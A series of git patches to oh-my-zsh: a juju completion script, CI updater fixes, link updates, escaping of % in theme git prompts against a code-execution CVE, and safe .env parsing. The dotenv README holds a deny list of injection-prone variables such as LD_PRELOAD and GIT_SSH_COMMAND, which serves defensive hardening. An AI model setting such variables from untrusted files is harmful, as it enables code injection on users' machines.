From b26b5002633e865b70e17933536fe4dc99127898 Mon Sep 17 00:00:00 2001 From: Iyigun Cevik Date: Wed, 27 May 2026 16:37:23 +0200 Subject: [PATCH 01/37] feat(juju): add native zsh completion and fix plugin utilities (#13663) --- plugins/juju/_juju | 231 +++++++++++++++++++++++++++++++++++ plugins/juju/juju.plugin.zsh | 35 +++--- 2 files changed, 246 insertions(+), 20 deletions(-) create mode 100644 plugins/juju/_juju diff --git a/plugins/juju/_juju b/plugins/juju/_juju new file mode 100644 index 000000000..4e08ba6ad --- /dev/null +++ b/plugins/juju/_juju @@ -0,0 +1,231 @@ +#compdef juju +(( $+functions[compdef] )) && compdef _juju juju + +# zsh completion for juju -*- shell-script -*- + +__juju_debug() +{ + local file="$BASH_COMP_DEBUG_FILE" + if [[ -n ${file} ]]; then + echo "$*" >> "${file}" + fi +} + +__juju_help_options() +{ + local out line token cleaned desc f + local -a opts pending + typeset -U opts + + __juju_debug "[options] called with args: $*" + out=$(command juju help "$@" 2>/dev/null) + local rc=$? + __juju_debug "[options] juju help exit code: $rc, output length: ${#out}" + (( rc )) && return 1 + + while IFS= read -r line; do + if [[ "$line" =~ '^[[:space:]]{0,3}-' ]]; then + for f in "${pending[@]}"; do opts+=("$f"); done + pending=() + for token in ${(z)line}; do + cleaned="${token%%,*}" + cleaned="${cleaned%%;*}" + cleaned="${cleaned%%]*}" + cleaned="${cleaned%%)*}" + cleaned="${cleaned%%=<*}" + cleaned="${cleaned%%=*}" + cleaned="${cleaned%%<*}" + cleaned="${cleaned%%\[*}" + cleaned="${cleaned%%\(*}" + [[ "$cleaned" == --* || "$cleaned" == -[[:alnum:]] ]] || continue + [[ "$cleaned" == "-" || "$cleaned" == "--" ]] && continue + __juju_debug "[options] found flag: $cleaned" + pending+=("$cleaned") + done + elif (( ${#pending} )) && [[ -n "$line" ]]; then + desc="${line#"${line%%[![:space:]]*}"}" + desc="${desc//:/\\:}" + __juju_debug "[options] desc for ${pending[*]}: $desc" + for f in "${pending[@]}"; do opts+=("${f}:${desc}"); done + pending=() + elif [[ -z "$line" ]]; then + for f in "${pending[@]}"; do opts+=("$f"); done + pending=() + fi + done < <(printf "%s\n" "$out") + + for f in "${pending[@]}"; do opts+=("$f"); done + __juju_debug "[options] total opts: ${#opts}, first few: ${opts[1]} ${opts[2]} ${opts[3]}" + + printf "%s\n" "${opts[@]}" +} + + +__juju_help_commands() +{ + local line cmd desc out + out=$(command juju help commands 2>/dev/null) || return 1 + + while IFS= read -r line; do + # Strip leading whitespace + line="${line#"${line%%[![:space:]]*}"}" + # Only process lines starting with an alphanumeric (command names) + [[ "$line" =~ '^[[:alnum:]]' ]] || continue + # Split on the first run of 2+ spaces: left = cmd, right = description + cmd="${line%% *}" + # Validate it's a clean command token (no spaces, only alnum and dash) + [[ "$cmd" =~ '^[[:alnum:]][[:alnum:]-]*$' ]] || continue + desc="${line#"$cmd"}" + desc="${desc#"${desc%%[![:space:]]*}"}" + if [[ -n "$desc" ]]; then + printf "%s:%s\n" "$cmd" "$desc" + else + printf "%s\n" "$cmd" + fi + done <<< "$out" +} + +__juju_models() +{ + # Optional argument: controller name. If given, fetch models for that controller. + if [[ -n "$1" ]]; then + command juju models -c "$1" --format=json 2>/dev/null \ + | command jq -r '.models[]."short-name"' 2>/dev/null + else + command juju models --format=json 2>/dev/null \ + | command jq -r '.models[]."short-name"' 2>/dev/null + fi +} + +# Complete a model token that may be prefixed with "controller:" — if a colon is +# present, fetch models for that controller and offer "ctrl:model" completions. +__juju_complete_model() +{ + local current="$1" + local -a completions + + __juju_debug "[complete_model] current='${current}'" + + if [[ "$current" == *:* ]]; then + local ctrl="${current%%:*}" + local models + models=("${(@f)$(__juju_models "$ctrl")}") + completions=("${models[@]/#/${ctrl}:}") + __juju_debug "[complete_model] ctrl=${ctrl} completions=${#completions}: ${completions[*]}" + compadd -S '' -q -- "${completions[@]}" + else + local -a models ctrls + models=("${(@f)$(__juju_models)}") + ctrls=("${(@f)$(__juju_controllers)}") + __juju_debug "[complete_model] models=${#models}: ${models[*]}" + __juju_debug "[complete_model] ctrls=${#ctrls}: ${ctrls[*]}" + __juju_debug "[complete_model] calling _alternative" + _alternative \ + 'models:models:{__juju_debug "[complete_model] compadd models"; compadd "$expl[@]" -a models}' \ + 'controllers:controllers:{__juju_debug "[complete_model] compadd ctrls"; compadd "$expl[@]" -S : -q -a ctrls}' + __juju_debug "[complete_model] _alternative returned $?" + fi +} + +# Commands whose first positional argument is a model name. +_juju_model_commands=( + destroy-model + grant-model + revoke-model + switch +) + +# Flags that take a model name as their value. +_juju_model_flags=( + -m + --model +) + +__juju_controllers() +{ + command juju controllers --format=json 2>/dev/null \ + | command jq -r '.controllers | keys | .[]' 2>/dev/null +} + +# Commands whose first positional argument is a controller name. +_juju_controller_commands=( + destroy-controller + kill-controller + login + logout + unregister +) + +# Flags that take a controller name as their value. +_juju_controller_flags=( + -c + --controller +) + +_juju() +{ + __juju_debug "[_juju] curcontext: ${curcontext}" + local -a completions + + __juju_debug "[_juju] words: ${words[*]}, CURRENT: $CURRENT" + + # Find the subcommand: first non-flag word typed after "juju", excluding the + # word currently being completed (words[CURRENT]). + local subcmd="" + local i + for (( i = 2; i < CURRENT; i++ )); do + if [[ "${words[i]}" != -* ]]; then + subcmd="${words[i]}" + break + fi + done + + local current="${words[CURRENT]}" + local prev="${words[CURRENT-1]}" + + __juju_debug "[_juju] subcmd: '${subcmd}', current: '${current}', prev: '${prev}'" + + # Controller name completion: flag value (e.g. juju status -c ) + if (( ${_juju_controller_flags[(I)$prev]} )); then + completions=("${(@f)$(__juju_controllers)}") + __juju_debug "[_juju] controller flag completions: ${#completions}" + (( ${#completions} )) && _describe "controller" completions && return 0 + return 1 + fi + + # Model name completion: flag value (e.g. juju status -m or -m ctrl:) + if (( ${_juju_model_flags[(I)$prev]} )); then + __juju_debug "[_juju] model flag completion, current: '${current}'" + __juju_complete_model "$current" && return 0 + return 1 + fi + + if [[ -z "$subcmd" ]]; then + # No subcommand yet — complete subcommand names. + completions=("${(@f)$(__juju_help_commands)}") + __juju_debug "[_juju] command completions count: ${#completions}" + (( ${#completions} )) && _describe "command" completions && return 0 + return 1 + fi + + # Controller name completion: positional arg (e.g. juju destroy-controller ) + if (( ${_juju_controller_commands[(I)$subcmd]} )) && [[ "$current" != -* ]]; then + completions=("${(@f)$(__juju_controllers)}") + __juju_debug "[_juju] controller command completions: ${#completions}" + (( ${#completions} )) && _describe "controller" completions && return 0 + return 1 + fi + + # Model name completion: positional arg (e.g. juju destroy-model or ctrl:) + if (( ${_juju_model_commands[(I)$subcmd]} )) && [[ "$current" != -* ]]; then + __juju_debug "[_juju] model command completion, current: '${current}'" + __juju_complete_model "$current" && return 0 + return 1 + fi + + # Flag completion for all other subcommands (also shown without leading dash) + completions=("${(@f)$(__juju_help_options "$subcmd")}") + __juju_debug "[_juju] option completions count: ${#completions}" + (( ${#completions} )) && _describe "option" completions && return 0 + return 1 +} diff --git a/plugins/juju/juju.plugin.zsh b/plugins/juju/juju.plugin.zsh index 3c159da22..a7bd98d7e 100644 --- a/plugins/juju/juju.plugin.zsh +++ b/plugins/juju/juju.plugin.zsh @@ -1,17 +1,5 @@ # ---------------------------------------------------------- # # Aliases and functions for juju (https://juju.is) # -# ---------------------------------------------------------- # - -# Load TAB completions -# You need juju's bash completion script installed. By default bash-completion's -# location will be used (i.e. pkg-config --variable=completionsdir bash-completion). -completion_file="$(pkg-config --variable=completionsdir bash-completion 2>/dev/null)/juju" || \ - completion_file="/usr/share/bash-completion/completions/juju" -[[ -f "$completion_file" ]] && source "$completion_file" -unset completion_file - -# ---------------------------------------------------------- # -# Aliases (in alphabetic order) # # # # Generally, # # - `!` means --force --no-wait -y # @@ -132,6 +120,7 @@ jclean() { fi echo + local controller for controller in ${=controllers}; do timeout 2m juju destroy-controller --destroy-all-models --destroy-storage --force --no-wait -y $controller timeout 2m juju kill-controller -y -t 0 $controller 2>/dev/null @@ -165,10 +154,11 @@ jreld() { # Return Juju current controller jcontroller() { - local controller="$(awk '/current-controller/ {print $2}' ~/.local/share/juju/controllers.yaml)" - if [[ -z "$controller" ]]; then - return 1 - fi + local file="${JUJU_DATA:-$HOME/.local/share/juju}/controllers.yaml" + [[ -f "$file" ]] || return 1 + + local controller="$(awk '/current-controller/ {print $2}' "$file")" + [[ -z "$controller" ]] && return 1 echo $controller return 0 @@ -176,6 +166,9 @@ jcontroller() { # Return Juju current model jmodel() { + local file="${JUJU_DATA:-$HOME/.local/share/juju}/models.yaml" + [[ -f "$file" ]] || return 1 + local yqbin="$(whereis yq | awk '{print $2}')" if [[ -z "$yqbin" ]]; then @@ -183,9 +176,10 @@ jmodel() { return 1 fi - local model="$(yq e ".controllers.$(jcontroller).current-model" < ~/.local/share/juju/models.yaml | cut -d/ -f2)" + local controller="$(jcontroller)" + local model="$(yq e ".controllers.[\"${controller}\"].current-model" < "${file}" | cut -d/ -f2)" - if [[ -z "$model" ]]; then + if [[ -z "$model" || $model == "null" ]]; then echo "--" return 1 fi @@ -194,9 +188,10 @@ jmodel() { return 0 } -# Watch juju status, with optional interval (default: 5 sec) +# Watch juju status, with optional interval (default: 1 sec) wjst() { - local interval="${1:-5}" + command -v juju >/dev/null 2>&1 || return 1 + local interval="${1:-1}" shift $(( $# > 0 )) watch -n "$interval" --color juju status --relations --color "$@" } From fb03e414ee1122f0b9024017baa4bb98c16c2e71 Mon Sep 17 00:00:00 2001 From: Minh Vu Date: Thu, 28 May 2026 18:54:11 +0200 Subject: [PATCH 02/37] ci(deps): detect add-only vendored changes (#13765) --- .github/workflows/dependencies/updater.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/.github/workflows/dependencies/updater.py b/.github/workflows/dependencies/updater.py index b61e5858a..2765d9a52 100644 --- a/.github/workflows/dependencies/updater.py +++ b/.github/workflows/dependencies/updater.py @@ -392,13 +392,15 @@ class Git: Returns `False` if the repo is dirty. """ try: - CommandRunner.run_or_fail( - ["git", "diff", "--exit-code"], stage="CheckRepoClean" + result = CommandRunner.run_or_fail( + ["git", "status", "--porcelain", "--untracked-files=normal"], + stage="CheckRepoClean", ) - return True except CommandRunner.Exception: return False + return result.stdout.strip() == b"" + @staticmethod def add_and_commit(scope: str, version: str) -> bool: """ From ddcdc266924446b421d3a93e076e65c2ef7336b0 Mon Sep 17 00:00:00 2001 From: Sediman AI Date: Fri, 29 May 2026 00:56:03 +0800 Subject: [PATCH 03/37] docs: update stale links (#13776) Co-authored-by: Sediman --- plugins/bedtools/README.md | 2 +- plugins/celery/README.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/bedtools/README.md b/plugins/bedtools/README.md index c4de4e3a9..417c4f072 100644 --- a/plugins/bedtools/README.md +++ b/plugins/bedtools/README.md @@ -1,5 +1,5 @@ # Bedtools plugin -This plugin adds support for the [bedtools suite](http://bedtools.readthedocs.org/en/latest/): +This plugin adds support for the [bedtools suite](https://bedtools.readthedocs.io/en/latest/): * Adds autocomplete options for all bedtools sub commands. diff --git a/plugins/celery/README.md b/plugins/celery/README.md index d2597f702..e71f3f4ee 100644 --- a/plugins/celery/README.md +++ b/plugins/celery/README.md @@ -1,6 +1,6 @@ # Celery -This plugin provides completion for [Celery](http://www.celeryproject.org/). +This plugin provides completion for [Celery](https://docs.celeryq.dev/en/stable/). To use it add celery to the plugins array in your zshrc file. From 5ddb7fedcc2541916ad0a67c93c524ebcf460d49 Mon Sep 17 00:00:00 2001 From: Minh Vu Date: Thu, 28 May 2026 19:04:07 +0200 Subject: [PATCH 04/37] ci(deps): use resolved tag when syncing dependencies (#13764) Co-authored-by: Carlo Sala --- .github/workflows/dependencies/updater.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/dependencies/updater.py b/.github/workflows/dependencies/updater.py index 2765d9a52..faab5a12c 100644 --- a/.github/workflows/dependencies/updater.py +++ b/.github/workflows/dependencies/updater.py @@ -219,6 +219,7 @@ class Dependency: if status["has_updates"] is True: short_sha = status["head_ref"][:8] new_version = status["version"] if is_tag else short_sha + source_ref = new_version if is_tag else status["head_ref"] try: branch_name = f"update/{self.path}/{new_version}" @@ -227,7 +228,7 @@ class Dependency: branch = Git.checkout_or_create_branch(branch_name) # Update dependency files - self.__apply_upstream_changes() + self.__apply_upstream_changes(source_ref) if not Git.repo_is_clean(): # Update dependencies.yml file @@ -297,7 +298,7 @@ Check out the [list of changes]({status["compare_url"]}). dep_yaml = DependencyStore.update_dependency_version(self.path, new_version) DependencyStore.write_store(DEPS_YAML_FILE, dep_yaml) - def __apply_upstream_changes(self) -> None: + def __apply_upstream_changes(self, ref: str) -> None: # Patterns to ignore in copying files from upstream repo GLOBAL_IGNORE = [".git", ".github", ".gitignore"] @@ -306,12 +307,11 @@ Check out the [list of changes]({status["compare_url"]}). postcopy = self.values.get("postcopy") repo = self.values["repo"] - branch = self.values["branch"] remote_url = f"https://github.com/{repo}.git" repo_dir = os.path.join(TMP_DIR, repo) # Clone repository - Git.clone(remote_url, branch, repo_dir, reclone=True) + Git.clone(remote_url, ref, repo_dir, reclone=True) # Run precopy on tmp repo if precopy is not None: From 8eff9a545594fc7b3f3fad231fecc107e1dde567 Mon Sep 17 00:00:00 2001 From: Michele Bologna Date: Thu, 28 May 2026 19:23:46 +0200 Subject: [PATCH 05/37] fix(michelebologna): syntax, escaping, label (#13756) --- themes/michelebologna.zsh-theme | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/themes/michelebologna.zsh-theme b/themes/michelebologna.zsh-theme index b13b2caf1..449c280c5 100644 --- a/themes/michelebologna.zsh-theme +++ b/themes/michelebologna.zsh-theme @@ -31,11 +31,10 @@ local blue="%{$fg_bold[blue]%}" local magenta="%{$fg_bold[magenta]%}" local reset="%{$reset_color%}" -local -a color_array -color_array=($green $red $cyan $yellow $blue $magenta) +local -a color_array=($green $red $cyan $yellow $blue $magenta) local username_color=$blue -local hostname_color=$color_array[$[((#HOST))%6+1]] # choose hostname color based on first character +local hostname_color=$color_array[$(( (#HOST) % 6 + 1 ))] # choose hostname color based on first character local current_dir_color=$blue local username="%n" @@ -45,7 +44,7 @@ local current_dir="%~" local username_output="%(!..${username_color}${username}${reset}@)" local hostname_output="${hostname_color}${hostname}${reset}" local current_dir_output="${current_dir_color}${current_dir}${reset}" -local jobs_bg="${red}fg: %j$reset" +local jobs_bg="${red}jobs: %j$reset" local last_command_output="%(?.%(!.$red.$green).$yellow)" ZSH_THEME_GIT_PROMPT_PREFIX="" @@ -55,10 +54,10 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" ZSH_THEME_GIT_PROMPT_UNTRACKED="$blue%%" ZSH_THEME_GIT_PROMPT_MODIFIED="$red*" ZSH_THEME_GIT_PROMPT_ADDED="$green+" -ZSH_THEME_GIT_PROMPT_STASHED="$blue$" +ZSH_THEME_GIT_PROMPT_STASHED="${blue}\$" ZSH_THEME_GIT_PROMPT_EQUAL_REMOTE="$green=" -ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE=">" -ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE="<" +ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE="${green}>" +ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE="${yellow}<" ZSH_THEME_GIT_PROMPT_DIVERGED_REMOTE="$red<>" function michelebologna_git_prompt { From c90141ed77ff89cc4d9e957aaee713e576ad2c39 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marc=20Cornell=C3=A0?= Date: Thu, 28 May 2026 18:57:52 +0200 Subject: [PATCH 06/37] fix: escape % characters in git prompts This patch adds missing % character escaping for custom git prompts used in a few themes. It also includes escaping for git-prompt.sh. In combination with CVE-2021-45444, this could allow code execution when displaying branch information in cloned malicious git repositories. However, zsh 5.8.1 and newer are largely the default zsh versions, and on those supported distributions with older zsh versions, the CVE has been found to be also patched. For this reason, this doesn't qualify as a security patch, but a bug fix for proper printing of git branches. --- plugins/gitfast/git-prompt.sh | 5 ++++- themes/eastwood.zsh-theme | 3 ++- themes/gallois.zsh-theme | 1 + themes/josh.zsh-theme | 2 +- themes/juanghurtado.zsh-theme | 2 +- themes/lukerandall.zsh-theme | 2 +- themes/mortalscumbag.zsh-theme | 4 +++- themes/oldgallois.zsh-theme | 1 + themes/peepcode.zsh-theme | 2 +- themes/rkj-repos.zsh-theme | 3 ++- themes/sunrise.zsh-theme | 2 +- 11 files changed, 18 insertions(+), 9 deletions(-) diff --git a/plugins/gitfast/git-prompt.sh b/plugins/gitfast/git-prompt.sh index 76ee4ab1e..ae5085182 100644 --- a/plugins/gitfast/git-prompt.sh +++ b/plugins/gitfast/git-prompt.sh @@ -235,7 +235,7 @@ __git_ps1_show_upstream () if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then upstream="$upstream \${__git_ps1_upstream_name}" else - upstream="$upstream ${__git_ps1_upstream_name}" + upstream="$upstream ${__git_ps1_upstream_name//\%/%%}" # not needed anymore; keep user's # environment clean unset __git_ps1_upstream_name @@ -570,6 +570,9 @@ __git_ps1 () if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then __git_ps1_branch_name=$b b="\${__git_ps1_branch_name}" + else + # escape % in branch name to avoid prompt expansion issues + b="${b//\%/%%}" fi if [ -n "${GIT_PS1_SHOWCOLORHINTS-}" ]; then diff --git a/themes/eastwood.zsh-theme b/themes/eastwood.zsh-theme index 31e24fa7f..0dd2d42d3 100644 --- a/themes/eastwood.zsh-theme +++ b/themes/eastwood.zsh-theme @@ -16,7 +16,8 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" git_custom_status() { local cb=$(git_current_branch) if [ -n "$cb" ]; then - echo "$(parse_git_dirty)$ZSH_THEME_GIT_PROMPT_PREFIX$(git_current_branch)$ZSH_THEME_GIT_PROMPT_SUFFIX" + cb="${cb//\%/%%}" + echo "$(parse_git_dirty)$ZSH_THEME_GIT_PROMPT_PREFIX${cb}$ZSH_THEME_GIT_PROMPT_SUFFIX" fi } diff --git a/themes/gallois.zsh-theme b/themes/gallois.zsh-theme index 3fc349072..eb04e66ed 100644 --- a/themes/gallois.zsh-theme +++ b/themes/gallois.zsh-theme @@ -10,6 +10,7 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" git_custom_status() { local branch=$(git_current_branch) [[ -n "$branch" ]] || return 0 + branch="${branch//\%/%%}" print "%{${fg_bold[yellow]}%}$(work_in_progress)%{$reset_color%}\ ${ZSH_THEME_GIT_PROMPT_PREFIX}$(parse_git_dirty)${branch}\ ${ZSH_THEME_GIT_PROMPT_SUFFIX}" diff --git a/themes/josh.zsh-theme b/themes/josh.zsh-theme index df59280d7..e8ae18dda 100644 --- a/themes/josh.zsh-theme +++ b/themes/josh.zsh-theme @@ -31,7 +31,7 @@ function josh_prompt { prompt=" $prompt" done - prompt="%{%F{green}%}$PWD$prompt%{%F{red}%}$(ruby_prompt_info)%{$reset_color%} $(git_current_branch)" + prompt="%{%F{green}%}$PWD$prompt%{%F{red}%}$(ruby_prompt_info)%{$reset_color%} ${branch//\%/%%}" echo $prompt } diff --git a/themes/juanghurtado.zsh-theme b/themes/juanghurtado.zsh-theme index 95a400e61..625f46a3a 100644 --- a/themes/juanghurtado.zsh-theme +++ b/themes/juanghurtado.zsh-theme @@ -41,4 +41,4 @@ USER_COLOR=$GREEN_BOLD PROMPT=' %{$USER_COLOR%}%n@%m%{$WHITE%}:%{$YELLOW%}%~%u$(parse_git_dirty)$(git_prompt_ahead)%{$RESET_COLOR%} %{$BLUE%}>%{$RESET_COLOR%} ' -RPROMPT='%{$GREEN_BOLD%}$(git_current_branch)$(git_prompt_short_sha)$(git_prompt_status)%{$RESET_COLOR%}' +RPROMPT='%{$GREEN_BOLD%}${$(git_current_branch)//\%/%%}$(git_prompt_short_sha)$(git_prompt_status)%{$RESET_COLOR%}' diff --git a/themes/lukerandall.zsh-theme b/themes/lukerandall.zsh-theme index cdecd284f..d5a452ebb 100644 --- a/themes/lukerandall.zsh-theme +++ b/themes/lukerandall.zsh-theme @@ -7,7 +7,7 @@ function my_git_prompt_info() { ref=$(git symbolic-ref HEAD 2> /dev/null) || return GIT_STATUS=$(git_prompt_status) [[ -n $GIT_STATUS ]] && GIT_STATUS=" $GIT_STATUS" - echo "$ZSH_THEME_GIT_PROMPT_PREFIX${ref#refs/heads/}$GIT_STATUS$ZSH_THEME_GIT_PROMPT_SUFFIX" + echo "$ZSH_THEME_GIT_PROMPT_PREFIX${${ref#refs/heads/}//\%/%%}$GIT_STATUS$ZSH_THEME_GIT_PROMPT_SUFFIX" } PROMPT='%{$fg_bold[green]%}%n@%m%{$reset_color%} %{$fg_bold[blue]%}%2~%{$reset_color%} $(my_git_prompt_info)%{$reset_color%}%B»%b ' diff --git a/themes/mortalscumbag.zsh-theme b/themes/mortalscumbag.zsh-theme index c9994c0f9..80c2d70db 100644 --- a/themes/mortalscumbag.zsh-theme +++ b/themes/mortalscumbag.zsh-theme @@ -42,7 +42,9 @@ function my_git_prompt() { } function my_current_branch() { - echo $(git_current_branch || echo "(no branch)") + local branch + branch=$(git_current_branch || echo "(no branch)") + echo "${branch//\%/%%}" } function ssh_connection() { diff --git a/themes/oldgallois.zsh-theme b/themes/oldgallois.zsh-theme index bb97bfb17..7c77135c0 100644 --- a/themes/oldgallois.zsh-theme +++ b/themes/oldgallois.zsh-theme @@ -10,6 +10,7 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" git_custom_status() { local branch=$(git_current_branch) [[ -n "$branch" ]] || return 0 + branch="${branch//\%/%%}" echo "$(parse_git_dirty)\ %{${fg_bold[yellow]}%}$(work_in_progress)%{$reset_color%}\ ${ZSH_THEME_GIT_PROMPT_PREFIX}${branch}${ZSH_THEME_GIT_PROMPT_SUFFIX}" diff --git a/themes/peepcode.zsh-theme b/themes/peepcode.zsh-theme index 044534614..4010ef1ff 100644 --- a/themes/peepcode.zsh-theme +++ b/themes/peepcode.zsh-theme @@ -31,7 +31,7 @@ git_prompt() { local cb=$(git_current_branch) if [[ -n "$cb" ]]; then local repo_path=$(git_repo_path) - echo " %{$fg_bold[grey]%}$cb %{$fg[white]%}$(git_commit_id)%{$reset_color%}$(git_mode)$(git_dirty)" + echo " %{$fg_bold[grey]%}${cb//\%/%%} %{$fg[white]%}$(git_commit_id)%{$reset_color%}$(git_mode)$(git_dirty)" fi } diff --git a/themes/rkj-repos.zsh-theme b/themes/rkj-repos.zsh-theme index a9fe1a9af..6ce45c969 100644 --- a/themes/rkj-repos.zsh-theme +++ b/themes/rkj-repos.zsh-theme @@ -23,7 +23,8 @@ function mygit() { if [[ "$(git config --get oh-my-zsh.hide-status)" != "1" ]]; then ref=$(command git symbolic-ref HEAD 2> /dev/null) || \ ref=$(command git rev-parse --short HEAD 2> /dev/null) || return - echo "$ZSH_THEME_GIT_PROMPT_PREFIX${ref#refs/heads/}$(git_prompt_short_sha)$(git_prompt_status)%{$fg_bold[blue]%}$ZSH_THEME_GIT_PROMPT_SUFFIX " + ref=${${ref#refs/heads/}//\%/%%} + echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref}$(git_prompt_short_sha)$(git_prompt_status)%{$fg_bold[blue]%}${ZSH_THEME_GIT_PROMPT_SUFFIX} " fi } diff --git a/themes/sunrise.zsh-theme b/themes/sunrise.zsh-theme index 11f6af127..86ae722fd 100644 --- a/themes/sunrise.zsh-theme +++ b/themes/sunrise.zsh-theme @@ -62,7 +62,7 @@ custom_git_prompt_status() { # get the name of the branch we are on (copied and modified from git.zsh) function custom_git_prompt() { ref=$(git symbolic-ref HEAD 2> /dev/null) || return - echo "$ZSH_THEME_GIT_PROMPT_PREFIX${ref#refs/heads/}$(parse_git_dirty)$(git_prompt_ahead)$(custom_git_prompt_status)$ZSH_THEME_GIT_PROMPT_SUFFIX" + echo "$ZSH_THEME_GIT_PROMPT_PREFIX${${ref#refs/heads/}//\%/%%}$(parse_git_dirty)$(git_prompt_ahead)$(custom_git_prompt_status)$ZSH_THEME_GIT_PROMPT_SUFFIX" } # %B sets bold text From d170d18746bb06db7b2fc97b67e281597a3fc152 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marc=20Cornell=C3=A0?= Date: Thu, 28 May 2026 20:23:45 +0200 Subject: [PATCH 07/37] fix(dotenv): introduce safe parsing of .env files (#13778) * fix(dotenv): expect explicit yes before loading .env file * fix(dotenv): implement secure parsing for .env files and add comprehensive tests * feat(dotenv): check for .env file size to prevent DoS * fix(dotenv): forbid setting special variables * fix(dotenv): FIFO shouldn't be read twice * fix(dotenv): unknown vars should expand to empty * fix(dotenv): reject extremely large named pipes * docs(dotenv): update to new parsing system * fix(dotenv): add support for escaped dollars * chore(dotenv): only declare local variables once * fix(dotenv): apply review suggestions * docs(dotenv): update test instructions Co-authored-by: Carlo Sala --- plugins/dotenv/.zunit.yml | 9 + plugins/dotenv/README.md | 47 ++- plugins/dotenv/dotenv.plugin.zsh | 289 ++++++++++++- plugins/dotenv/tests/_output/.gitignore | 2 + plugins/dotenv/tests/_support/bootstrap | 139 ++++++ .../tests/_support/fixtures/dotenvjs.env | 88 ++++ .../tests/_support/fixtures/features.env | 23 + plugins/dotenv/tests/basic-parsing.zunit | 398 ++++++++++++++++++ plugins/dotenv/tests/compatibility.zunit | 27 ++ plugins/dotenv/tests/security.zunit | 209 +++++++++ 10 files changed, 1219 insertions(+), 12 deletions(-) create mode 100644 plugins/dotenv/.zunit.yml create mode 100644 plugins/dotenv/tests/_output/.gitignore create mode 100644 plugins/dotenv/tests/_support/bootstrap create mode 100644 plugins/dotenv/tests/_support/fixtures/dotenvjs.env create mode 100644 plugins/dotenv/tests/_support/fixtures/features.env create mode 100644 plugins/dotenv/tests/basic-parsing.zunit create mode 100644 plugins/dotenv/tests/compatibility.zunit create mode 100644 plugins/dotenv/tests/security.zunit diff --git a/plugins/dotenv/.zunit.yml b/plugins/dotenv/.zunit.yml new file mode 100644 index 000000000..e5ea0c3a6 --- /dev/null +++ b/plugins/dotenv/.zunit.yml @@ -0,0 +1,9 @@ +tap: false +directories: + tests: tests + output: tests/_output + support: tests/_support +time_limit: 0 +fail_fast: false +allow_risky: false +verbose: false diff --git a/plugins/dotenv/README.md b/plugins/dotenv/README.md index 5dbcf0fb1..8b3f9ecce 100644 --- a/plugins/dotenv/README.md +++ b/plugins/dotenv/README.md @@ -34,6 +34,25 @@ PORT=3001 You can even mix both formats, although it's probably a bad idea. +Multi-line values are supported using quoted strings: + +```sh +PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEA... +-----END RSA PRIVATE KEY-----" +``` + +Variables defined earlier in the file can be referenced by later entries: + +```sh +BASE_URL=https://example.com +API_URL=$BASE_URL/api +ASSETS_URL=${BASE_URL}/assets +``` + +Note: only variables defined within the same `.env` file are expanded this way — +shell environment variables that already exist are **not** substituted. + ## Settings ### ZSH_DOTENV_FILE @@ -86,13 +105,37 @@ mount `.env` files as named pipes to inject secrets on-the-fly without writing t No additional configuration is required — the plugin automatically detects and sources named pipes. +## Tests + +The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its [documentation](https://github.com/zunit-zsh/zunit#installation), then run: + +```sh +cd plugins/dotenv && zunit +``` + +> [NOTE!] +> zunit also requires installing [Revolver](https://github.com/molovo/revolver). + ## Version Control **It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only. -## Disclaimer +## Security -This plugin only sources the `.env` file. Nothing less, nothing more. It doesn't do any checks. It's designed to be the fastest and simplest option. You're responsible for the `.env` file content. You can put some code (or weird symbols) there, but do it on your own risk. `dotenv` is the basic tool, yet it does the job. +The plugin applies several best-effort safeguards when loading a `.env` file: + +- **Size limit** — files larger than 10 MiB are rejected to prevent DoS. +- **Syntax check** — the file is validated with `zsh -fn` before any variables are set. +- **No command substitution** — entries containing `$(...)` or backtick constructs are skipped. +- **Forbidden variables** — the following variables are never overwritten, regardless of what the + `.env` file contains: `NODE_OPTIONS`, `BASH_ENV`, `ENV`, `ZDOTDIR`, `ZSH`, `LD_PRELOAD`, + `LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `GIT_CONFIG_GLOBAL`, `GIT_DIR`, `GIT_EDITOR`, + `GIT_EXTERNAL_DIFF`, `GIT_EXEC_PATH`, `GIT_PAGER`, `GIT_SSH`, `GIT_SSH_COMMAND`, + `GIT_SSL_NO_VERIFY`, `GIT_TEMPLATE_DIR`, `VISUAL`, `PAGER`, `EDITOR`, and all zsh special + parameters. + +These measures are **best-effort** — you are still responsible for the content of your `.env` +file. Do not use this plugin as a security boundary. If you need more advanced and feature-rich ENV management, check out these awesome projects: diff --git a/plugins/dotenv/dotenv.plugin.zsh b/plugins/dotenv/dotenv.plugin.zsh index c44c369b5..72839a501 100644 --- a/plugins/dotenv/dotenv.plugin.zsh +++ b/plugins/dotenv/dotenv.plugin.zsh @@ -7,9 +7,271 @@ : ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"} : ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"} - ## Functions +_parse_dotenv_content() { + setopt localoptions extendedglob + + local content="$1" + local mode="${2:-export}" + + # Validate mode argument + case "$mode" in + export|test) ;; + *) + echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2 + return 1 + ;; + esac + + local node line key value + local raw_value expanded prefix remainder var_name escaped_dollar_placeholder + local sq dq uq safe + local -A parsed_vars + local -a nodes 